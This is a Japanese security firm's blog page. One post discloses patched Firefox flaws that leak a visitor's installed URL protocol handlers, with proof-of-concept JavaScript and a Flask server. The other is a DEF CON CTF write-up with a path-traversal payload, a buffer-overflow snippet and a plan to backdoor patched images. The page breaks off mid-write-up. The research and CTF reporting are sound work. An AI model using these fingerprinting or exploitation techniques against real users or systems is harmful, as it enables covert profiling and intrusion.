Saturday, November 16, 2024

Mozilla Firefox 0-day: URLプロトコルハンドラの漏洩 [CVE-2024-9398, CVE-2024-5690]

 筆者:satoki

はじめに

はじめまして。リチェルカセキュリティのSatoki Tsujiです。業務ではWeb脆弱性診断やWebの新規攻撃手法の研究を行っています。

本記事では、AVTOKYO2024にて発表した「Mozilla FirefoxのInformation disclosureの0-day脆弱性(CVE-2024-9398, CVE-2024-5690)」について解説します。本記事で解説する脆弱性によって、本来ブラウザにより秘匿されるべきURLプロトコルハンドラの設定の有無がページ経由で漏洩します。結果として、攻撃者はターゲットユーザマシンにインストールされている様々なアプリケーションを特定できます。

Mozilla Firefox 0-day: Browser Side-Channel Attack to Leak Installed Applications

注意
本脆弱性の解説はMozillaより許可を得て公開しています。本記事は、セキュリティ研究と教育を目的としており、記事内の情報を不適切な形で利用した如何なる損害についても、責任を負いません。

 

URLプロトコルハンドラとは

URLプロトコルハンドラとは、ブラウザやOSが特定のプロトコルスキーム(例えば、http,ftp,mailto)に基づいて、URLをどのように処理するかを定義する仕組みです。URLにアクセスした際に、どのようなアプリケーションを起動するかを決定するために使用されます。具体例としては、mailto:satoki@example.comのようなリンクをクリックした際にデフォルトのメールクライアントが開くのは、URLプロトコルハンドラがmailtoスキームのURLを取り扱うように設定されているためです。

一般的なスキームはIANAに登録されており、その他にもアプリケーションが独自に設定したカスタムスキームも存在します。以下にスキームの例を示します。

スキーム 機能の概要
http WebページへのアクセスにHTTPプロトコルを使用する
javascript Webページ内でJavaScriptを実行する
file ファイルシステムにアクセスする
steam Steamプラットフォーム内で特定の機能を呼び出す
zoommtg Zoomで会議を開始または会議に参加する
example スキームの例示に用いる

スキームを用いたアプリケーションの起動時には、ユーザへ確認を促すダイアログが表示されます。以下にsteamスキームを開いた際の例を示します。

アプリケーションはURLプロトコルハンドラへ独自のカスタムスキームを設定できます。詳細は述べませんが、WindowsではレジストリにURL Protocolキーと実行ファイルのパスおよび実行パラメータを登録することで、カスタムスキームが利用可能となります。

 

URLプロトコルハンドラの漏洩リスク

URLプロトコルハンドラの設定の有無が攻撃者に漏洩した場合に、どのようなリスクがあるでしょうか。FortiGuard Labs Threat Research Reportでは、漏洩した場合の影響を以下のようにまとめています。

Identifying communication channels: By listing the handlers an attacker can get a hint to what platforms he may use for reaching the targeted user. For instance, detecting social applications such as Slack, Skype, WhatsApp or Telegram may be used for communicating with the target.

General reconnaissance: A wide range of applications nowadays uses custom URL handlers and can be detected using this vulnerability. Some examples: music players, IDE, office applications, crypto-mining, browsers, mail applications, antivirus, video conferencing, virtualizations, database clients, version control clients, chat clients, voice conference apps, shared storages

Pre-exploitation detection: Exploit kits may leverage this information in order to identify if a potentially vulnerable application is present without exposing the vulnerability itself.

Detecting Security solutions: Many security solutions such as AV products register protocol handlers whose presence can be exposed by leveraging the vulnerabilities because they have custom protocol handlers installed. Attackers may use this to further customize their attack to be able to circumvent any protection mechanism set by those security solutions.

User Fingerprinting: reading what protocol handlers exist on a system may also be used in order to improve browser/user fingerprinting algorithms.

URLプロトコルハンドラの設定の有無が漏洩した場合、攻撃者が存在するハンドラを列挙できます。結果として、ターゲットユーザのマシンにインストールされた様々なアプリケーションを確認することができます。具体的には、slackスキームが存在すればSlackがインストールされており、skypeスキームが存在すればSkypeがインストールされていると分かります。

特定のアプリケーションのインストールの有無が露見した場合にどのようなリスクがあるでしょうか。ターゲットユーザが日常的に使用しているコミュニケーションツールが判明した場合には、攻撃者がアカウントを調査し接触を図る手掛かりになります。インストールされているアプリの種類から、ターゲットの属性を推測できます。金融系のアプリが分かればフィッシングの精度向上にも寄与します。ターゲットをWebサイト内でトラッキングする際のフィンガープリンティングにも使用できます。

ターゲットユーザが導入しているセキュリティソフトを特定し、検知回避など次の攻撃の足掛かりとする可能性もあります。以下にFortiGuard LabsのRotem Kerner氏の報告にある、攻撃者にとって有用なカスタムスキームの例を引用します。2020年の報告であるため、現在のサポート状況は不明です。

スキーム ベンダ名
GDataGDATAToastNews GData
malwarebytes MalwareBytes
avastpam Avast
vizorwebs, tmtb, titanium, vizorweb TrendMicro
bdlaunch BitDefender


imgタグのサイズをオラクルとした既知の脆弱性

Mozilla Firefox 82未満では、Rotem Kerner氏よりURLプロトコルハンドラの漏洩の脆弱性が報告されています。この脆弱性は、CVE-2020-15680として採番されており、Mozilla Foundation Security Advisoryに記載されたImpactはmoderateとされます。

CVE-2020-15680: Presence of external protocol handlers could be determined through image tags

彼はimgタグのsrcにカスタムスキームを指定した場合の挙動差を発見しました。以下のようなimgタグを二つ用意します。

<img src="ms-settings://satoki">
<img src="satoki://satoki">

ms-settingsスキームにはWindows設定アプリが起動するよう設定されており、satokiスキームには何も設定されていません。開発者ツールを開き、各imgタグのサイズを確認します。

ms-settings://satokiのimgタグ

satoki://satokiのimgタグ

どちらも画像としての読み込みが失敗しますが、スタイルのサイズが異なっていることが分かります。Firefoxは画像の正常な読み込みに失敗した場合に、壊れた画像を示すアイコンを表示します。このアイコンのサイズが24×24です。ms-settingsスキームではアイコンが表示されています。一方、satokiスキームのようにハンドラが設定されていないスキームではアイコンが表示されないため、サイズは0×0となります。

このサイズの差をオラクル(未知のものを推測する手掛かりとなる既知の情報)とすることで、攻撃者はURLプロトコルハンドラの設定の有無を判別することができます。JavaScriptで大量のimgタグを生成し、各スタイルのwidthが24と一致するか検証することで、サイトの運営者は訪問者のコンピュータにどのようなURLプロトコルハンドラが設定されているかを知ることができます。

 

window.openのエラーをオラクルとした手法 (CVE-2024-9398)

今回、著者が発見した脆弱性の1件目です。本脆弱性では、window.openの戻り値へのアクセス時に発生するエラーの有無をオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザがポップアップを許可する必要があるため、危険性は低くなっています。

CVE-2024-9398: External protocol handlers could be enumerated via popups

脆弱性調査を行う中でwindow.openでカスタムスキームを開いた際に、異なるページ表示が行われることを発見しました。開発者ツールのコンソールを開き、以下のJavaScriptを実行します。

open01 = window.open("ms-settings://satoki");
open02 = window.open("satoki://satoki");

ポップアップを許可すると、以下のような二つのページが新しくオープンされます。

ms-settings://satokiで開かれるページ

satoki://satokiで開かれるページ

ms-settingsスキームではアプリケーションを開くため、ユーザへ確認を促すダイアログが表示されています。一方、satokiスキームのようにハンドラが設定されていないスキームでは、ページ読み込みエラーが表示されています。これは開くアプリケーションが存在しないために起こります。この差を知ることはできないでしょうか。

window.openを実行した開発者ツールのコンソールに戻って、返り値のdocumentオブジェクトにアクセスしてみましょう。 

ページ読み込みエラーとなったページのdocumentオブジェクトへのアクセスが、拒否されてエラーとなっています。この挙動はopen02[0]のような配列アクセスでも同様となります。このエラーをキャッチすることで、オラクルとして用いることができます。他にも以下のようにframesの差を用いたオラクルも可能です。

ポップアップが許可されているという条件のもとですが、攻撃者はwindow.openを用いてカスタムスキームを大量に開き、各documentオブジェクトへのアクセスがエラーとなるか検証します。この結果により、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。不自然に開いたページは、最後にwindow.closeですべて閉じることで処理できます。

window.historyの変化をオラクルとした手法

先ほどまでのエラーをオラクルとした手法との違いはほとんどありませんが、Historyの興味深いふるまいを利用した手法も発見しています。CTFなどではよく知られている、History Length経由でユーザの情報を取得するテクニックを応用します。本手法はwindow.openのエラーをオラクルとした手法 (CVE-2024-9398)に含めて報告しています。window.openで開くまでは同様となりますが、window.locationを更新した際のwindow.historyの変化を利用します。

ハンドラが設定されているms-settings://satokiをwindow.openした後に、window.locationをフラグメント付きのms-settings://satoki#satokiに変更し、その後に再度window.locationをabout:blankに変更します。するとwindow.history.lengthは1となります。どうやらwindow.locationの更新ではHistoryが増加しないようです。

一方、ハンドラが設定されていないスキームsatoki://satokiをwindow.openし、window.locationをsatoki://satoki#satokiabout:blankと二度変更します。すると、window.history.lengthへアクセスが可能となり、window.history.lengthは2となります。こちらはHistoryが増加するようです。

これらの挙動をまとめると、window.locationの更新ではハンドラが設定されていないスキームのみ、Historyが増加します。このwindow.historyの変化をオラクルとして、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。

iframe.contentWindow.history.lengthのエラーをオラクルとした手法

window.openで新しいページを開くためには、ポップアップの許可が必要となります。ポップアップはターゲットユーザが意図的に許可しなければならず、ユーザのアクションが必要となるためステルス性が低下します。ターゲットユーザがポップアップを許可する必要のない手法も発見しており、window.openのエラーをオラクルとした手法 (CVE-2024-9398)に含めて報告しています。本手法はステルス性を向上させるため、カスタムスキームごとにiframeを作成し、iframe.contentWindow.history.lengthへアクセスした際のエラーの有無を利用します。

ハンドラが設定されているms-settings://satokiとハンドラが設定されていないsatoki://satokiの二つのiframeを作成します。開発者ツールのコンソールを開き、以下のJavaScriptを実行します。注意点として、Firefoxではある程度の間隔をあけなければiframeを連続して開くことができない制約があります。

iframe01 = document.createElement("iframe");
document.body.appendChild(iframe01);
iframe01.sandbox="";
iframe01.src = "ms-settings://satoki";
// sleep 10~20s
iframe02 = document.createElement("iframe");
document.body.appendChild(iframe02);
iframe02.sandbox="";
iframe02.src = "satoki://satoki";

すると以下のような二つのiframeが新しく開かれます。ここではsandbox属性により、ユーザへ確認を促すダイアログを表示させないテクニックも用いています。

ms-settingsスキームのようにハンドラが設定されている場合は空白のページ、satokiスキームのようにハンドラが設定されていない場合はページ読み込みエラーが表示されています。これはwindow.openと同様です。ここで各iframeのcontentWindow.history.lengthへアクセスしてみましょう。

satokiスキームでのcontentWindow.history.lengthのアクセスが、拒否されてエラーとなっています。この挙動はabout:blankでiframeを作成した後に、srcを指定することで発生します。このエラーをキャッチすることで、オラクルとして用いることができます。

攻撃者は指定した間隔ごとにiframeでカスタムスキームを開き、contentWindow.history.lengthへのアクセスがエラーとなるか検証します。結果により、攻撃者はURLプロトコルハンドラの設定の有無を判別できます。また、ポップアップが一度でも許可されているという条件のもとではiframeを連続して開くことができるため、window.openよりも強力な手法と言えます。

 

imgタグのonerror発火時間をオラクルとした手法 (CVE-2024-5690)

今回、著者が発見した脆弱性の2件目です。本脆弱性では、imgタグの生成から読み込みエラーイベント(onerror)が発火するまでの時間をオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザのアクションは不要です。

CVE-2024-5690: External protocol handlers leaked by timing attack

脆弱性調査を行う中で、imgタグにカスタムスキームを設定した際におけるイベントの発火について検証を行いました。イベントは以下のようにimgタグに設定できます。

<img src="ms-settings://satoki" onerror="alert('ms-settings')">
<img src="satoki://satoki" onerror="alert('satoki')">

幸いなことにイベントの発火はハンドラの設定の有無とは無関係に行われることが分かりました。そこで、イベントが発火するまでの時間を計測してみることにしました。開発者ツールのコンソールを開き、以下のJavaScript関数を作成します。

async function measureLoadTime(ph, numberOfTrials) {
    let totalTime = 0;
    for (let i = 0; i < numberOfTrials; i++) {
        const startTime = performance.now();
        await new Promise(resolve => {
            const img = document.createElement("img");
            document.body.appendChild(img);
            img.onload = img.onerror = function() {
                const endTime = performance.now();
                totalTime += endTime - startTime;
                img.parentNode.removeChild(img);
                resolve();
            };
            img.src = ph;
        });
    }
    return totalTime;
}

この関数では、初めにimgタグを生成します。次に、受け渡された第一引数をimgタグのsrcに設定します。その後に、onloadイベント(読み込み完了)またはonerrorイベント(読み込み失敗)が発火するまでの時間を計測します。さらに、この一連の計測を第二引数の回数だけ繰り返し実行し、累積した時間を返します。つまりmeasureLoadTime("satoki://satoki", 10000);を呼び出すと、satoki://satokiのonerrorイベントが発火するまでの時間を10000回分計測し、累積した時間を返します。この関数を用いて以下のJavaScriptを実行し、カスタムスキームに対し10000回分の時間を計測します。

measureLoadTime("ms-settings://satoki", 10000).then(time => console.log(time));
measureLoadTime("satoki://satoki", 10000).then(time => console.log(time));

順番を入れ替え、複数回行った結果は以下の通りとなりました。

ms-settingsスキームのイベントが発火するまでの時間に比べ、satokiスキームのイベントの発火が倍ほど早いことが分かります。様々なカスタムスキームで検証した結果、ハンドラが設定されているスキームはイベントの発火が遅延していることが判明しました。この遅延をオラクルとして用いることができます。

攻撃者はJavaScriptで大量のimgタグを生成し、各タグのイベント発火までにかかった時間を計測します。速度は環境により異なりますが、ハンドラが設定されていないスキームの値をあらかじめ保持しておき、比較することでURLプロトコルハンドラの設定の有無を判別できます。

 

CSPのreport-uriディレクティブリクエストをオラクルとした手法 (CVE-2024-5690:DUPLICATE)

今回、著者が発見した脆弱性の3件目です。imgタグのonerror発火時間をオラクルとした手法 (CVE-2024-5690)よりも前に報告していましたが、修正が同様の箇所で済んだためDUPLICATEとなりました。タイミングを調整して上手く報告していれば認定されたと感じています。本脆弱性では、imgタグの読み込みをCSP(Content Security Policy)でブロックした際の振る舞いを利用します。CSPのreport-uriディレクティブに設定したURLへのリクエストをオラクルとして、URLプロトコルハンドラの設定の有無を取得できます。ターゲットユーザのアクションは不要です。

脆弱性調査を行う中で、imgタグをCSPでブロックした際の挙動について検証を行いました。CSPをimg-src 'self'に設定したページにおいて、ブロックしたimgタグのスタイルに差が生じればそれを利用することができます。カスタムスキームはselfでないため、すべてが一律でブロックされると予想されます。以下のようなHTMLを作成して調査します。

<html>
    <head>
        <meta http-equiv="Content-Security-Policy" content="img-src 'self';">
    </head>
    <body>
        <img src="ms-settings://satoki">
        <img src="satoki://satoki">
    </body>
</html>

開発者ツールでimgタグのスタイルなどを調査していると、コンソールに以下のような奇妙な表示があることに気付きました。

imgタグが二つ含まれているにもかかわらず、CSPによるブロックがms-settingsスキームのみとなっています。これはimgタグの順番を変更しても同様でした。つまり、ハンドラが設定されているスキームはCSPによりリソースの読み込みがブロックされますが、設定されていないスキームはリソースとしての読み込み自体が発生していないと考えられます。読み込み自体が発生していないため、CSPにはブロックされません。このようなCSPでのブロックの有無を外部から観測できるでしょうか。

ここで、CSPには違反(ブロック)を報告するディレクティブであるreport-uriが設定可能である事を思い出しました。Content-Security-Policy: report-uri http://localhost;のように設定することにより、ページ内のコンテンツでCSP違反が発生した際に、ブラウザがhttp://localhostへ違反内容をJSONでPOSTします。report-uriはmetaタグでは指定できないため、以下のように簡易的なサーバプログラムを用意します。

from flask import Flask, request, make_response

app = Flask(__name__)

@app.route("/")
def index():
    response = make_response(
        f"""
<html>
    <body>
        <img src="ms-settings://satoki">
        <img src="satoki://satoki">
    </body>
</html>
"""
    )
    response.headers["Content-Security-Policy"] = (
        f"img-src 'self'; report-uri http://localhost:5555/recv;"
    )
    return response

@app.route("/recv", methods=["POST"])
def recv():
    print(request.get_data().decode("utf-8"))
    return "OK"

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=5555)

この簡易的なサーバプログラムはポート5555でアクセスを待ち受け、imgタグを二つ表示します。imgタグにはCSPでimg-src 'self';という制限がかかっています。また、CSPの違反の報告先はreport-uri http://localhost:5555/recv;と指定されています。報告を受け取るパスの/recvでは、受け取ったCSP違反の報告をprintしています。このサーバのページを開いたときにprintされたJSONは以下の通りでした。

{
  "csp-report": {
    "blocked-uri": "ms-settings",
    "column-number": 1,
    "disposition": "enforce",
    "document-uri": "http://localhost:5555/",
    "effective-directive": "img-src",
    "original-policy": "img-src 'self'; report-uri http://localhost:5555/recv",
    "referrer": "",
    "status-code": 200,
    "violated-directive": "img-src"
  }
}

blocked-uriにブロックされたms-settingsスキームが表示されていることが分かります。このリクエストをオラクルとして用いることができます。同様にscriptタグをscript-srcディレクティブで制限した場合や、audioまたはvideoタグをmedia-srcディレクティブで制限した際のリクエストもオラクルとして用いることができます。

攻撃者はあらかじめimgタグを大量にしたページを用意します。ページのCSPはimgタグを必ずブロックするものとし、report-uriディレクティブに攻撃者自身のサーバを設定します。攻撃者は受け取ったCSP違反の報告のblocked-uriの内容から、URLプロトコルハンドラの設定の有無を判別できます。

 

修正

CVE-2024-9398

プロトコルハンドラの設定が有る場合にはabout:blankでポップアップが表示されており、プロトコルハンドラの設定が無い場合にはネットワークエラーページが表示されていました。この差によって、プロパティへのアクセス違反の有無が生じていることが原因でした。プロトコルハンドラの設定が無い場合にもabout:blankを用いることで、差をなくす修正が行われました。

CVE-2024-5690

プロトコルハンドラの設定の有無のチェックが、CSPを含むセキュリティチェックよりも前に行われていたことが原因でした。結果として、エラーイベントが発火するまでの時間にも差が出ています。プロトコルハンドラの設定が無い場合に、早期にリターンを行う機能を削除する修正が行われました。また、DUPLICATEとなった脆弱性も同様の修正で解消されています。

 

おわりに

本記事では、URLプロトコルハンドラの設定の有無がページ経由で漏洩する脆弱性について解説しました。一見無害に思えるURLプロトコルハンドラの設定情報でも、攻撃者視点では悪用手法が見いだせる可能性があります。ブラウザの最適化など実装の違いによる挙動の差はしばしば発生します。セキュリティエンジニアは常にオフェンシブな視点を持ち、無害と思える情報にも疑いの目を向けることが求められます。

リチェルカセキュリティではWeb分野での未知の攻撃を日々研究し、お客様へのソリューションの提供に役立てています。発見した脆弱性の報告はもちろんのこと、登壇資料作成の業務時間への算入や、平日の登壇に対する特別休暇の付与など、外部発表などを支援する登壇支援制度も設けられています。

有名ソフトウェアの0-day脆弱性調査をはじめ、研究開発など若い才能にお任せしたい業務がたくさんあります。この記事を読んで当社の取り組みにご興味を持った方は、ぜひカジュアル面談にお申し込みください。

Friday, November 1, 2024

DEF CON 32 CTF Finals 参加記&Write-Up

著者:Arata, iwancof, iwashiira, satoki

はじめに

アメリカのラスベガスで世界最大級のハッキングイベント DEF CON 32 が開催されました。このイベントでは、毎年 Capture The Flag (CTF) と呼ばれるハッキング大会の決勝戦 (Finals) が行われます。本記事では、弊社メンバーが Finals で担当した問題、各ブースの様子、そして現地での生活をお伝えします。昨年の様子は こちらの記事 からご覧いただけます。

2024年度は8月8日から11日の期間で、例年と異なる会場 Las Vegas Convention Center West Hall で開催されました。弊社社員・アルバイトは国際チーム「Blue Water」のメンバーとして Finals に出場しました。

DEF CON 32 会場

 

リチェルカセキュリティには、現役で CTF に取り組んでいる社員・アルバイトが多数在籍しています。CTF は多種多様な前提、制約、技術領域に触れる機会になり、業務の実行能力向上にも繋がります。弊社メンバーの自己研鑽の一環として、希望者全員の渡航費や宿泊費などを全額サポートしました。

DEF CON CTF 32 Finals

DEF CON では、Village と呼ばれるブース単位でイベントが開催されています。各 Village ではそれぞれのテーマに沿ったコンテストや大小様々な CTF を開催しています。それら CTF の中で、最も古く難しいと言われるものが DEF CON 本体のイベント DEF CON CTF です。今年は、予選大会を突破した12のチームが世界各地から集まりました。

DEF CON CTF 32

DEF CON CTF Finals の競技形式

本年度の DEF CON CTF は例年と変わらず、Nautilus Institute が運営しています。Finals では Attack&Defense (A&D) と、King of the Hill (KotH) と呼ばれる2種類の競技形式でそれぞれ問題が出題され、合計のスコアを競いました。

競技に取り組む弊社社員たち

A&D では、各チームにセキュリティ上の問題があるシステムが配布され、それを稼働させながらお互いに攻撃と防御を行います。攻撃は、セキュリティ上の弱点を利用して他チームのシステムに侵入し、隠された情報 (フラグ) を手に入れることが目標です。防御は、自チームのシステムを調査し、システムの脆弱な箇所を特定して修正作業を行います。もちろん修正中にシステムを停止させることは許されません。

KotH では、決められた条件の中でサーバーを占有し続けたり、最も高得点のスコアを取り続け、”King”となることでポイントを獲得できます。効率的にスコアを稼ぐ方法を探さなければなりません。

 

[KotH] codewords

今年の決勝戦では、 WASM のリバースエンジニアリングを主題とした「codewords」という KotH 形式の問題が出題されました。この問題では、まず各チームが次の2つの関数をもつプログラムを作成します。

  • uint64_t generate(uint32_t round_num)
    • ラウンド番号を引数に受け取り、64ビット整数 (codeword) を返す
    • 返すcodewordはチームが任意に決めてよい
  • uint64_t verify(uint32_t round_num, uint64_t codeword)
    • ラウンド番号と codeword を引数に受け取り、正しい codeword であれば1を、そうでなければ0を返す

そして作成したプログラムをサーバーに提出すると、他のチームがverifyを呼び出せるようになります。例として、デフォルトで使用されていたプログラムを以下に示します。

#include <stdint.h>

uint64_t generate(uint32_t round_num) {
    uint64_t a = 0x4142434445464748 + round_num;
    return a;
}

uint64_t verify(uint32_t round_num, uint64_t codeword) {
    uint64_t a = 0x4142434445464748 + round_num;
    if (a != codeword) {
        return 0;
    }
    return 1;
}

競技においては、各チームがこのプログラムをベースに攻撃と防御を行っていきます。

攻撃

攻撃側は他チームのcodewordを特定してverifyに1を返させることができれば得点を獲得できます。しかし、何も手がかりがなければcodewordを特定することは困難です。そこで、他チームにはverifyを WASM にコンパイルした verify.wasm が公開されます。この公開された verify.wasm をリバースエンジニアリングすることで、他チームのcodewordを特定することが目的です。したがって、攻撃側にはWASMを迅速にリバースエンジニアリングし、他チームのcodewordを特定することが求められます。

防御

防御側は、自分のcodewordを特定されないようにすることが目的です。verifyは他チームに公開されますが、一方でgenerateは公開されません。そのため、codewordを生成するgenerateのアルゴリズムが推測されにくくなるように verifyを作成する必要があります。ただし、generateおよびverifyが実行できる命令数には制限があります。つまり、計算量が一定以下のアルゴリズムを用いつつ、他チームに codeword を特定されないようにすることが求められます。

戦況の推移

問題が公開された2日目以降、次のような時系列で競技が進みました。

  • 8/10 10:00 2日目開始
  • 8/10 12:40 問題が公開される
  • 8/10 12:50 各チームが四則演算・余剰などを使ったアルゴリズムへの変更を進める
  • 8/10 14:30 ナップサック暗号を使用するチームが登場
  • 8/10 14:40 ハッシュ関数を使用し、codeword を定数とするチームが登場
  • 8/10 15:30 過半数のチームがハッシュ関数を使ったアルゴリズムへ変更
  • 8/10 18:00 2日目終了
  • 8/11 10:00 3日目開始
  • 8/11 10:10 いくつかのチームが定数を変更、あるいはハッシュ関数を使ったアルゴリズムへ変更
  • 8/11 13:00 3日目終了(競技終了)

所感

全体として、2日目にハッシュ関数を使ったチームが登場して以降多くのチームが同様の方針をとっており、アルゴリズム面で大きな変化はなかったように感じています。以下が他チームの verify.wasm を wasm-decompile でデコンパイルしたコードです。

export function verify(round_num:int, codeword:long):long {
  var h:int;
  var c:int = i32_wrap_i64(codeword >> 32L);
  var d:int = i32_wrap_i64(codeword);
  var e:int = -559038737;
  var f:int = -889275714;
  var g:int = 26;
  loop L_a {
    f = ((e ^ (h = f) << 2) ^ (h << 1 & h << 8)) ^ d;
    d = d * c ^ -1163005939;
    e = h;
    g = g + -1;
    if (g) continue L_a;
  }
  return i64_extend_i32_u(
           (i64_extend_i32_u(f) << 32L | i64_extend_i32_u(h)) ==
           -6656796192791513755L);
}

そのほか、我々のチームでは angr を使用した自動ソルバーなどが作成されており、攻守ともにチームの個性が垣間見える、興味深い問題でした。

 

 [A&D] helium

次に、A&D 形式の「helium」という問題について解説します。この問題の問題ファイルは競技1日目終了時に配布され、実際のサービスは競技2日目の全3時間のみ公開されていました。

配布されたバイナリは、libhydrogen というクリプトのライブラリを使って通信するプログラムでした。シンボル情報が stripされたバイナリなので、各アドレスの関数のシンボルを特定する必要があります。

関数のシンボルの特定に使用する情報は大まかに以下の通りです。

  • 特定の文字列への参照
    • 例: Noise_KK_hydro1 という文字列への参照があるので、 hydro_kx_kk_1()
  • どのような関数から呼ばれているか、どのような関数を呼んでいるか
    • 例: hydro_kx_kk_1() の中で1番目に呼ばれているので、 hydro_kx_init_state()
  • シンボル付きでコンパイルしたサンプルプログラムとの機械語の類似

シンボル情報の特定は、以下のような Google スプレッドシート上で共有しながら並行して行いました。

このプログラムのコアの部分は FUN_001156ae() に存在しました。この関数の中で呼ばれる様々な関数がインライン展開されている影響で、Ghidra でのデコンパイル結果はC言語のコードにして約56000行と膨れ上がっています。

脆弱性

発見した脆弱性は、FUN_001156ae() のオフセット122069にある/proc/%s/stat という文字列への処理にありました。この処理は、通信の暗号化に関連する処理を終えた後のコード部分に存在しています。以下の画像が、該当部分のコードです。 strstr().. という文字列が存在しているかどうかをチェックし、存在していなければ、文字列を snprintf()%s 部分に代入して path となる文字列を作成し、open しています。open したファイルの中身は後の処理で出力されます。

攻撃

ここでの処理では.. という文字列をチェックしています。これはディレクトリトラバーサルを考慮したものと思われますが、実際には不十分です。

例えば、 /proc/self/cwd のような文字列を path に渡せば、そのプロセスのカレントワーキングディレクトリにアクセスできます。文字列の末尾には /stat が付加されてしまいますが、 snprintf() はバッファから溢れる文字列を書き込まないので、うまく /stat を溢れさせれば flag を open して中身を受け取ることができます。具体的には、/proc/self/cwd////////////flag のように丁度溢れるくらいの /を間に挟むことで、 flag の path を指定できます。

脆弱性の発火まで

この問題の注目ポイントは、攻撃ペイロードの解析が不可能である点です。A&D 形式の問題では防御側の情報として、自チームのサービスに送られてきたパケットキャプチャの pcap ファイルと、各チームのホストしているサービスの Docker イメージを得ることができるようになっていました。

しかし、helium のパケットキャプチャ時に得られる通信は、鍵交換に必要な部分を除いて libhydrogen の正規の方法を用いて暗号化されています。上で解説した脆弱性は復号後のペイロードによって発火するので、通信内容を見て攻撃のメカニズムを把握したり、リプレイ攻撃を行ったりすることができないのです。

つまり、脆弱性を見つけることができていないチームは、自力で解析して見つける他には、攻撃を防御できているチームの Docker イメージのパッチ内容からしか脆弱性を特定できません。また仮に脆弱性を特定できたとしても、攻撃に繋げるまでには、前段の通信内容を暗号化するコード部分と整合する処理を行うクライアントを適切に実装する必要があります。この実装自体も、大変骨の折れる作業で、3時間で完了するのは不可能と言ってよいです。

防御

防御に関しては、 strstr のパース部分をどのようにパッチするか、という一点にかかっています。例えば、 / が含まれないようにチェックするようにすれば防御することが可能です。しかし、他のチームが我々のパッチした Docker イメージをコピーして流用するだけで、我々の Exploit コード自体も防御されてしまいます。そのため、脆弱性をパッチしながらも、Docker イメージに上手いことバックドアを仕込んでおく必要があります。実際、攻撃に対する一時的な緩和策として、他チームの Docker イメージをコピーするという運用を行なっていたチームは複数ありました。バックドアが仮に仕込まれていたとしてもそのチームからの攻撃以外は防御できるはずなので、パッチを当てずに各チームから無防備に集中砲火を受けるよりはマシ、ということなのでしょう。

2日目の開始時点では、我々は strstr にパッチを当てませんでした。また、この時1チームを除いた残りのチームに対して攻撃が刺さっていました。つまり、他のチームは脆弱性を見つけることができておらず、よく分からない通信が行われていることのみ分かっているという状況であると推定できます。仮に脆弱性を見つけてパッチされた場合でも、攻撃に転じるまでにはラグがあるでしょう。つまり、攻撃が刺さらなくなって来たタイミングで strstr にバックドアを仕込んだパッチを適用すれば、他チームからの攻撃に対する防御が間に合うという戦略でした。また、パッチを当てて Docker イメージを更新したタイミングで、残りのチームが我々の Docker イメージをコピーするという緩和策を取るかもしれず、そのチームに対しては他のチームの攻撃が刺さらない一方で我々の攻撃は依然として成功するという状況を作り出せる、という狙いもありました。

結果的には、競技終了1時間前のタイミングでstrstr に対するパッチを適用していました。サービスが公開されていた3時間のうち、2時間はほとんどのチームに攻撃が刺さり続けていたということです。

所感

総括すると、攻撃ペイロードの解析が不可能であり、脆弱性を発火させるような攻撃コードの実装も大変な点から、攻撃と防御ともに難易度の高い問題でした。だからこそ、攻撃に成功していた我々のチームは点数を稼ぐことができました。しかしながら競技後に分かったことですが、 strstr 以外のコード部分へ行っていたパッチにミスがあり、幾分かの Defense ポイントを取りこぼしてしまっていたようです。攻撃ペイロードの解析が不可能であるが故に、攻撃されていることに気づかなかったこともミスが発覚しなかった原因の一つでしょう。

通信内容を暗号化するような A&D 形式の問題は、攻撃に成功した場合のリターンが大きく、取り組む価値が高いかもしれません。

 

[A&D] cloud-cache

heliumと同じく、A&D 形式の「cloud-cache」という問題について解説します。

この問題では、次の3つのファイルが攻撃対象となります。

  • entrypoint.bin
    • ELF 形式の実行ファイル
  • jscache.ko
    • 問題サーバにロードされているカーネルモジュール
  • libquickjs.so
    • QuickJS という JavaScript エンジンのライブラリ

jscache.ko は dmesg の取得やカーネル空間に存在するバッファの表示などの機能を提供し、entrypoint.bin は それらの関数を builtin function として QuickJS に登録しています。 攻撃者は telnet を使って QuickJS の REPL に接続することができ、そこからフラグを取得することが目的です。

この問題には数多くの脆弱性が含まれているため、防御側が忙しい問題でした。

脆弱性

先程も述べた通り、バイナリ中に埋め込まれた脆弱性の数が多く、中には2行でフラグを得ることができるほど自明なものもあったため、ここでは非自明であったものの内の一つを解説します。

entrypoint.bin 内で QuickJS に登録された関数のうち、jsExpandという名前で次の関数が登録されていました。

qjs_add_global_func(ctx,"jsExpand",js_expand,2);
int js_expand(undefined8 param_1,undefined8 param_2,undefined8 param_3,int param_4,long *argv)

{
   long lVar1;
   int iVar2;
   long in_FS_OFFSET;
   int length;
   long local_10;

   local_10 = *(long *)(in_FS_OFFSET + 0x28);
   if (param_4 < 2) {
       fwrite("Error: js_expand requires 2 arguments: <array> <length>\\n",1,0x38,_stderr);
       length = 0;
   }
   else {
       iVar2 = JS_ToInt32(param_1,&length,argv[2],argv[3]);
       if (iVar2 == 0) {
           lVar1 = *argv;
           *(long *)(lVar1 + 0x40) = (long)length;
           **(int **)(lVar1 + 0x20) = length;
       }
       else {
           length = 0;
       }
   }
   if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
       return length;
   }
                                    /* WARNING: Subroutine does not return */
   __stack_chk_fail();
}

この関数の目的は、第一引数に渡された JavaScript の配列オブジェクトの長さを、第二引数に渡された整数に設定することです。しかし、バッファの長さなどのチェックを一切行わず長さを設定しているため、例えば次のようなコードを実行することでバッファオーバーフローが発生します。

let foo = [1.1, 1.1]
let bar = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2]

jsExpand(foo, 20)
console.log(foo)

1.1,1.1,[unsupported type],[unsupported type],[unsupported type],[unsupported type],[unsupported type],[unsupported type],1,join,[unsupported type],1.19251584217e-313,2.2,2.2,2.2,2.2,2.2,[unsupported type],[unsupported type],\\nundefined\\n

この脆弱性の他に、フラグをファイルから読み込みメモリ上に配置する関数が用意されているため、これら2つを組み合わせることでフラグを取得することができます。

防御

以上の脆弱性による攻撃を防ぐため、長さを代入する前に既存のバッファの長さをチェックすることでバッファオーバーフローを防ぐことができます。

Attack&Defence 固有の戦略

ここまでは、Jeopardy 形式の問題と同じような解説でしたが、ここからは A&D 固有の戦略について解説します。

